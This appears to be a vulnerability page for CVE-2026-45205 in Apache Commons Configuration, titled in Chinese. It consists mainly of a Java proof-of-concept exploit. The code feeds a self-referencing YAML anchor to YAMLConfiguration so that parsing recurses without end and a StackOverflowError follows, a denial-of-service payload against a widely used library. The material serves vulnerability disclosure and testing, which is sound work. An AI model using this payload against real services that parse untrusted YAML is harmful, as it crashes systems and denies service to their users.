CVE-2026-45205 Apache Commons Configuration不受控递归漏洞

import org.apache.commons.configuration2.YAMLConfiguration; import java.io.StringReader; public class CVE202645205_PoC { public static void main(String[] args) { try { // Create a YAML configuration instance YAMLConfiguration config = new YAMLConfiguration(); // Malicious YAML input with a recursive cycle // This structure causes infinite recursion during parsing String maliciousYaml = "cycle: &cycle\n field: *cycle"; // Attempt to read the malicious configuration config.read(new StringReader(maliciousYaml)); System.out.println("Exploit failed: StackOverflow not triggered."); } catch (StackOverflowError e) { System.out.println("Exploit successful: StackOverflowError triggered."); e.printStackTrace(); } catch (Exception e) { System.out.println("Other error: " + e.getMessage()); } } }